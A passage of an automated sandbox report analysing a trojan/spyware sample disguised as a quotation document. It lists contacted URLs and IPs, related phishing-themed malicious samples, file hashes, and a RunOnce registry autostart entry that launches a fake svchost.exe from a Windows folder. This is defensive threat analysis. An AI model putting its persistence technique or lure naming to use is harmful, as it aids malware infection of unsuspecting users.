http://www.liverpoolfc.com/corporate/browser-support	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
http://www.realmadrid.com/en	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/74/thumb_73714_partnerlogo_p	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlog	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	false		high
http://www.liverpoolfc.com/contactus	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
http://0k10dk21kkeok2e.online4	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735821506077151150_la	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/92/thumb_91236_partnerlogo_p	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://freegeoip.app/xml/	REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.928995151.00000000024A9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://assets.manutd.com/AssetPicker/images/0/0/4/241/324093/GettyImages-83956735851506077151174_th	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://www.manutd.com/	svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/JE-552/lfc/css/styles.css	svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	false		high
https://www.easports.com/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.liverpoolfc.com/history	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/uploads/players/0927__9343__sheff_utd_(a).jpg	svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.quorn.com/	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.liverpoolfc.com/?http://www.realmadrid.com/base/#User-Agent:	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816308197.0000000000012000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000C.00000000.710716470.0000000000172000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000D.00000000.711421146.00000000002B2000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000E.00000000.712072127.0000000000452000.00000002.00020000.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.918001050.0000000000022000.00000002.00020000.sdmp, WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp, svchost.exe, 00000015.00000000.732425604.00000000003B2000.00000002.00020000.sdmp	false		high
https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/partnerlogo/0001/90/thumb_89785_partnerlogo_p	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high
https://www.manutd.com4	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822274442.0000000002366000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.manutd.com/en/matches/matchcenter/man-utd-vs-west-ham-match-2128562	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcoderhttp://schemas.xmlsoap.org/ws/2005/	WerFault.exe, 00000012.00000003.747273152.0000000005520000.00000004.00000001.sdmp	false		high
http://www.realmadrid.com/base/	svchost.exe	false		high
https://www.liverpoolfc.com/fans/lfc-supporter-liaison-officer/about-the-supporters-liaison-officer	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	false		high
https://www.manutd.com/en/matches/matchcenter/milan-vs-man-utd-match-2192704	svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	false		high
https://www.realmadrid.com/base/cjXfWTkOmKqhmsbNQCpZFbtJLOvjKxhlhkUPsqPbYfZAM.html	REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
13.225.80.53	unknown	United States	16509	AMAZON-02US	true
13.225.80.63	unknown	United States	16509	AMAZON-02US	true
162.88.193.70	unknown	United States	33517	DYNDNSUS	false
151.101.2.133	unknown	United States	54113	FASTLYUS	true
104.21.19.200	unknown	United States	13335	CLOUDFLARENETUS	false
13.225.80.39	unknown	United States	16509	AMAZON-02US	false
35.208.150.174	unknown	United States	19527	GOOGLE-2US	true
172.67.179.188	unknown	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1
192.168.2.3

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	361738
Start date:	03.03.2021
Start time:	07:31:43
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	REQUEST FOR QUOTATION 4675674665.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@54/25@110/10
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.2% (good quality ratio 0.2%) Quality average: 66% Quality standard deviation: 30.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 274 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 40.88.32.150, 51.104.144.132, 104.42.151.234, 92.122.145.220, 23.32.238.153, 23.32.238.161, 88.221.224.57, 104.22.6.79, 172.67.24.199, 104.22.7.79, 13.64.90.137, 104.83.117.205, 51.104.139.180, 13.88.21.125, 8.238.30.254, 67.26.117.254, 67.26.109.254, 8.253.207.120, 8.238.85.254, 104.43.139.144, 52.155.217.156, 20.54.26.129, 23.32.238.234, 23.32.238.177 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, www.mancity.com.cdn.cloudflare.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, e13832.b.akamaiedge.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcolcus16.cloudapp.net, realmadrid.edgekey.net, e14202.g.akamaiedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, www.manutd.com.edgekey.net, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:32:33	API Interceptor	457x Sleep call for process: REQUEST FOR QUOTATION 4675674665.exe modified
07:32:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD explorer.exe "C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe"
07:33:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce ehYIhwFobKjypAJkKuyEqsfXIdEiD explorer.exe "C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe"
07:33:15	API Interceptor	12x Sleep call for process: svchost.exe modified
07:33:29	API Interceptor	22x Sleep call for process: powershell.exe modified
07:33:41	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
13.225.80.53	NEW ORDERS 122020 2 x 40 HQ.exe	Get hash	malicious	Browse	www.liverpoolfc.com/
13.225.80.63	NEW ORDERS 122020 2 x 40 HQ.exe	Get hash	malicious	Browse	www.liverpoolfc.com/
162.88.193.70	PRODUCT CTG. ORDER.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SHIPMENT DOCUMENT_Pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PPG Industries PO.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	New Enquiry RFQ#5500298704.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Purchase order.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Scan Mar 2021 Bz5543_PDF.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	WaybillDoc_2396752890.pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	DHL_6368638172 receipt document,pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	OemRkTcBOc.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	YF19NagrPh.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	rnWG5Cn2YZ.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	t_DMD5VX.doc	Get hash	malicious	Browse	checkip.dyndns.org/
	SHIPMENT DOCUMENT.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PI.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	2189110276, pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	1708 210225SEBDBDDHABAN9012598115.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	ORDER009882377343.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PO#SL20210224.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PROFORMA INVOICE.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.GenericKD.36390364.27133.exe	Get hash	malicious	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
0k10dk21kkeok2e.online	Quotation 2.PDF__________________________________.exe	Get hash	malicious	Browse	172.67.179.188
	PO#BC210243_pdf.exe	Get hash	malicious	Browse	104.21.59.148
	hfLfKDTosA.exe	Get hash	malicious	Browse	104.21.59.148
	e0YQRfcpqS.exe	Get hash	malicious	Browse	172.67.179.188
	Doc7656.xlsx	Get hash	malicious	Browse	104.21.59.148
	Zahlungskopie.exe	Get hash	malicious	Browse	104.21.59.148
	Purchase Order.exe	Get hash	malicious	Browse	104.21.59.148
	Reversing Purchase Orders.exe	Get hash	malicious	Browse	172.67.179.188
	Purchase Order 267282.exe	Get hash	malicious	Browse	172.67.179.188
	G.I gratings-pdf.exe	Get hash	malicious	Browse	172.67.179.188
	REQUEST FOR QUOTATION DOCUNMET.exe	Get hash	malicious	Browse	172.67.179.188
	NEW ORDERS 122020 2 x 40 HQ.exe	Get hash	malicious	Browse	172.67.179.188
chelseafc.map.fastly.net	PO#BC210243_pdf.exe	Get hash	malicious	Browse	151.101.2.133
	hfLfKDTosA.exe	Get hash	malicious	Browse	151.101.2.133
	e0YQRfcpqS.exe	Get hash	malicious	Browse	151.101.2.133
	Doc7656.xlsx	Get hash	malicious	Browse	151.101.2.133
	Zahlungskopie.exe	Get hash	malicious	Browse	151.101.2.133
	Purchase Order.exe	Get hash	malicious	Browse	151.101.2.133
	Reversing Purchase Orders.exe	Get hash	malicious	Browse	151.101.2.133
	Purchase Order 267282.exe	Get hash	malicious	Browse	151.101.2.133
	RFQ_397568464846568465467384638364834,pdf.exe	Get hash	malicious	Browse	151.101.2.133
	G.I gratings-pdf.exe	Get hash	malicious	Browse	151.101.2.133
	REQUEST FOR QUOTATION DOCUNMET.exe	Get hash	malicious	Browse	151.101.2.133
	NEW ORDERS 122020 2 x 40 HQ.exe	Get hash	malicious	Browse	151.101.2.133
	vzoWnmtGk0.exe	Get hash	malicious	Browse	151.101.2.133
	enquries.pdf.exe	Get hash	malicious	Browse	151.101.2.133
	_swft01032021.doc	Get hash	malicious	Browse	151.101.2.133
	SHIPMENT DOCUMENT.exe	Get hash	malicious	Browse	151.101.2.133
	ORDER01032021rfggfscan.exe	Get hash	malicious	Browse	151.101.2.133
	AkbankSubeMevduatEkstre.pdf.exe	Get hash	malicious	Browse	151.101.2.133

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	SmartDeblur 2.2 #U7eff#U8272#U4e2d#U6587#U5355#U6587#U4ef6#U7248.exe	Get hash	malicious	Browse	34.223.253.167
	PO#BC210243_pdf.exe	Get hash	malicious	Browse	99.86.159.103
	hfLfKDTosA.exe	Get hash	malicious	Browse	99.86.159.103
	e0YQRfcpqS.exe	Get hash	malicious	Browse	99.86.159.103
	Doc7656.xlsx	Get hash	malicious	Browse	99.86.159.103
	Zahlungskopie.exe	Get hash	malicious	Browse	99.86.159.34
	Purchase Order.exe	Get hash	malicious	Browse	99.86.159.29
	BraveBrowserSetup.exe	Get hash	malicious	Browse	99.86.159.34
	REF221.exe	Get hash	malicious	Browse	13.52.90.227
	lPxdChtp3zx86	Get hash	malicious	Browse	52.47.87.178
	UPS Delivery Notification, Receiver susiej@johnstoncompanies.com.html	Get hash	malicious	Browse	52.218.184.40
	Cancellation_Letter_1447980759-02242021.xls	Get hash	malicious	Browse	65.1.5.41
	Cancellation_Letter_1447980759-02242021.xls	Get hash	malicious	Browse	65.1.5.41
	SecuriteInfo.com.Variant.Razy.848795.31184.dll	Get hash	malicious	Browse	3.200.26.246
	Reversing Purchase Orders.exe	Get hash	malicious	Browse	13.225.74.67
	DRAFT SHIPPING DOCUMENTS.xlsx	Get hash	malicious	Browse	54.183.132.164
	ord.xlsx	Get hash	malicious	Browse	54.67.120.65
	Purchase Order 267282.exe	Get hash	malicious	Browse	13.225.74.67
	PO 67915.xlsx	Get hash	malicious	Browse	54.67.120.65
	outstanding SOA367 9908.xlsx	Get hash	malicious	Browse	54.183.131.91
AMAZON-02US	SmartDeblur 2.2 #U7eff#U8272#U4e2d#U6587#U5355#U6587#U4ef6#U7248.exe	Get hash	malicious	Browse	34.223.253.167
	PO#BC210243_pdf.exe	Get hash	malicious	Browse	99.86.159.103
	hfLfKDTosA.exe	Get hash	malicious	Browse	99.86.159.103
	e0YQRfcpqS.exe	Get hash	malicious	Browse	99.86.159.103
	Doc7656.xlsx	Get hash	malicious	Browse	99.86.159.103
	Zahlungskopie.exe	Get hash	malicious	Browse	99.86.159.34
	Purchase Order.exe	Get hash	malicious	Browse	99.86.159.29
	BraveBrowserSetup.exe	Get hash	malicious	Browse	99.86.159.34
	REF221.exe	Get hash	malicious	Browse	13.52.90.227
	lPxdChtp3zx86	Get hash	malicious	Browse	52.47.87.178
	UPS Delivery Notification, Receiver susiej@johnstoncompanies.com.html	Get hash	malicious	Browse	52.218.184.40
	Cancellation_Letter_1447980759-02242021.xls	Get hash	malicious	Browse	65.1.5.41
	Cancellation_Letter_1447980759-02242021.xls	Get hash	malicious	Browse	65.1.5.41
	SecuriteInfo.com.Variant.Razy.848795.31184.dll	Get hash	malicious	Browse	3.200.26.246
	Reversing Purchase Orders.exe	Get hash	malicious	Browse	13.225.74.67
	DRAFT SHIPPING DOCUMENTS.xlsx	Get hash	malicious	Browse	54.183.132.164
	ord.xlsx	Get hash	malicious	Browse	54.67.120.65
	Purchase Order 267282.exe	Get hash	malicious	Browse	13.225.74.67
	PO 67915.xlsx	Get hash	malicious	Browse	54.67.120.65
	outstanding SOA367 9908.xlsx	Get hash	malicious	Browse	54.183.131.91
DYNDNSUS	PRODUCT CTG. ORDER.exe	Get hash	malicious	Browse	162.88.193.70
	SHIPMENT DOCUMENT_Pdf.exe	Get hash	malicious	Browse	162.88.193.70
	ORIENT_New #Uc8fc#Ubb38 OCI_0303202.exe	Get hash	malicious	Browse	131.186.161.70
	PPG Industries PO.exe	Get hash	malicious	Browse	162.88.193.70
	atlas order.exe	Get hash	malicious	Browse	131.186.161.70
	6576456356456576455364565_564665_PDF.exe	Get hash	malicious	Browse	131.186.161.70
	QZYgzEOZdEYzp6N.exe	Get hash	malicious	Browse	131.186.161.70
	Swift Copy For Pending payments.exe	Get hash	malicious	Browse	216.146.43.71
	New Enquiry RFQ#5500298704.exe	Get hash	malicious	Browse	162.88.193.70
	Purchase Order.90700.Scan.pdf...exe	Get hash	malicious	Browse	162.88.193.70
	Halkbank_Ekstre_20210302_082357_541079.exe	Get hash	malicious	Browse	216.146.43.70
	SecuriteInfo.com.Trojan.Win32.Save.a.6005.exe	Get hash	malicious	Browse	216.146.43.70
	Purchase order.exe	Get hash	malicious	Browse	162.88.193.70
	Order - HOM-OS-20-21-813.exe	Get hash	malicious	Browse	216.146.43.70
	Scan Mar 2021 Bz5543_PDF.exe	Get hash	malicious	Browse	162.88.193.70
	Purchase Order.exe	Get hash	malicious	Browse	131.186.113.70
	WaybillDoc_2396752890.pdf.exe	Get hash	malicious	Browse	162.88.193.70
	Tips Ref [MT103].exe	Get hash	malicious	Browse	131.186.113.70
	Order List & Images.exe	Get hash	malicious	Browse	131.186.113.70
	Original Invoice.exe	Get hash	malicious	Browse	216.146.43.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	PRODUCT CTG. ORDER.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	SHIPMENT DOCUMENT_Pdf.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	ORIENT_New #Uc8fc#Ubb38 OCI_0303202.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	PPG Industries PO.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	atlas order.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	6576456356456576455364565_564665_PDF.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	QZYgzEOZdEYzp6N.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Swift Copy For Pending payments.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	PO#BC210243_pdf.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	New Enquiry RFQ#5500298704.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Halkbank_Ekstre_20210302_082357_541079.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	SecuriteInfo.com.Trojan.Win32.Save.a.6005.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Purchase order.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	hfLfKDTosA.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Order - HOM-OS-20-21-813.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	e0YQRfcpqS.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Scan Mar 2021 Bz5543_PDF.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Zahlungskopie.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Purchase Order.exe	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200
	Invoice-ID419245113015910.vbs	Get hash	malicious	Browse	13.225.80.53 13.225.80.63 104.21.19.200

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_REQUEST FOR QUOT_6dee515fd3ed1935d72021f3418adc5c45dbf67_3031ab0a_058a2413\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	18098
Entropy (8bit):	3.780998853069631
Encrypted:	false
SSDEEP:	192:YdHyFumHBUZMXaaKsUO2FXTr/u7sZS274ItAf:+HyFfBUZMXaaeXX/u7sZX4ItAf
MD5:	035E202EA1566CEBD506574A95A59153
SHA1:	5731C65D6F924A26FECE489EC129B80B2B9B8DB6
SHA-256:	783800E6919F282457745477B8F6679B5135B7CE2086F59AD03E65532650AD8E
SHA-512:	E2F15CA2D256F8A771B581E4CE6BB592A565B668466D240B37531C5BC5A0623144D6E90A4E6D8F81DD016EBFBF757A55E1F83DFE0C6906CA94390CA1B282B32E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.9.2.2.6.7.8.9.6.2.6.8.7.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.5.9.2.2.6.8.1.5.8.2.9.9.1.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.c.b.5.b.a.b.0.-.2.e.2.0.-.4.6.8.a.-.b.2.e.1.-.5.e.1.d.a.0.4.9.6.e.5.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.6.4.c.b.0.8.-.f.a.7.f.-.4.3.e.d.-.9.e.5.7.-.9.1.3.e.2.9.1.d.b.d.5.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.E.Q.U.E.S.T. .F.O.R. .Q.U.O.T.A.T.I.O.N. .4.6.7.5.6.7.4.6.6.5...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.0.-.0.0.0.1.-.0.0.1.b.-.c.5.6.7.-.4.f.f.d.f.6.0.f.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.b.6.8.8.6.6.1.d.d.d.a.d.c.8.4.9.7.0.2.0.7.3.c.8.7.e.d.3.1.d.7.0.0.0.0.0.9.0.4.!.0.0.0.0.8.d.6.2.0.3.e.9.e.f.4.2.7.6.7.7.b.1.d.a.8.7.0.b.6.4.9.c.c.f.6.2.4.d.1.d.3.a.c.3.!.R.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA907.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Mar 3 06:33:19 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	355313
Entropy (8bit):	3.751874586569059
Encrypted:	false
SSDEEP:	6144:ouhwzW0eipRh67Wrc9RpD98Tjt5PG2Vno:Ho3pQPC5Oeo
MD5:	17EAE886BE9C0BEB971CD8249BAF5E39
SHA1:	383DA38123FFE7857C3C8AF3BE42C50D2FB544DA
SHA-256:	712B30512CACAF29140ADC9813C9BBE721C9FE10332ACA824613B3509F46989C
SHA-512:	C561AF6CE3EAB7244C0B99E187EE1D82CC77034CC48E2B82A0D59453CE927187D4C2ECB542EECFD60F5850511F2321E95F54FE66D3F6CEA33ED28BA6965503A9
Malicious:	false
Preview:	MDMP....... ........-?`...................U...........B.......2......GenuineIntelW...........T.......@....-?`.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD091.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	56140
Entropy (8bit):	3.0441720068995184
Encrypted:	false
SSDEEP:	1536:O3HSU3dLtXtdQLhW+Xs712mFstsX8a1jmHniRyzkY:O3HSU3dLtXtdQLhW+Xs712mFstsX8a1U
MD5:	5C09B607CD5EDCBB6D699D65D4C391F2
SHA1:	3B94BEA5DF4401873F6C40A7EBB9084FFFC965D0
SHA-256:	14B4AE88969C599AB4F26BCE08903686B1AF077D29A8843A4BFB0B7AC1CAB3D9
SHA-512:	36C460544DDB268D55F4F7A1F242CF46BCFCBC98A7B046579AE5B3D0D2E27A0760B5E38A53A5E6E58EEF0073F25B56666199EDDD12BD8F3E406D7EFDE8439241
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.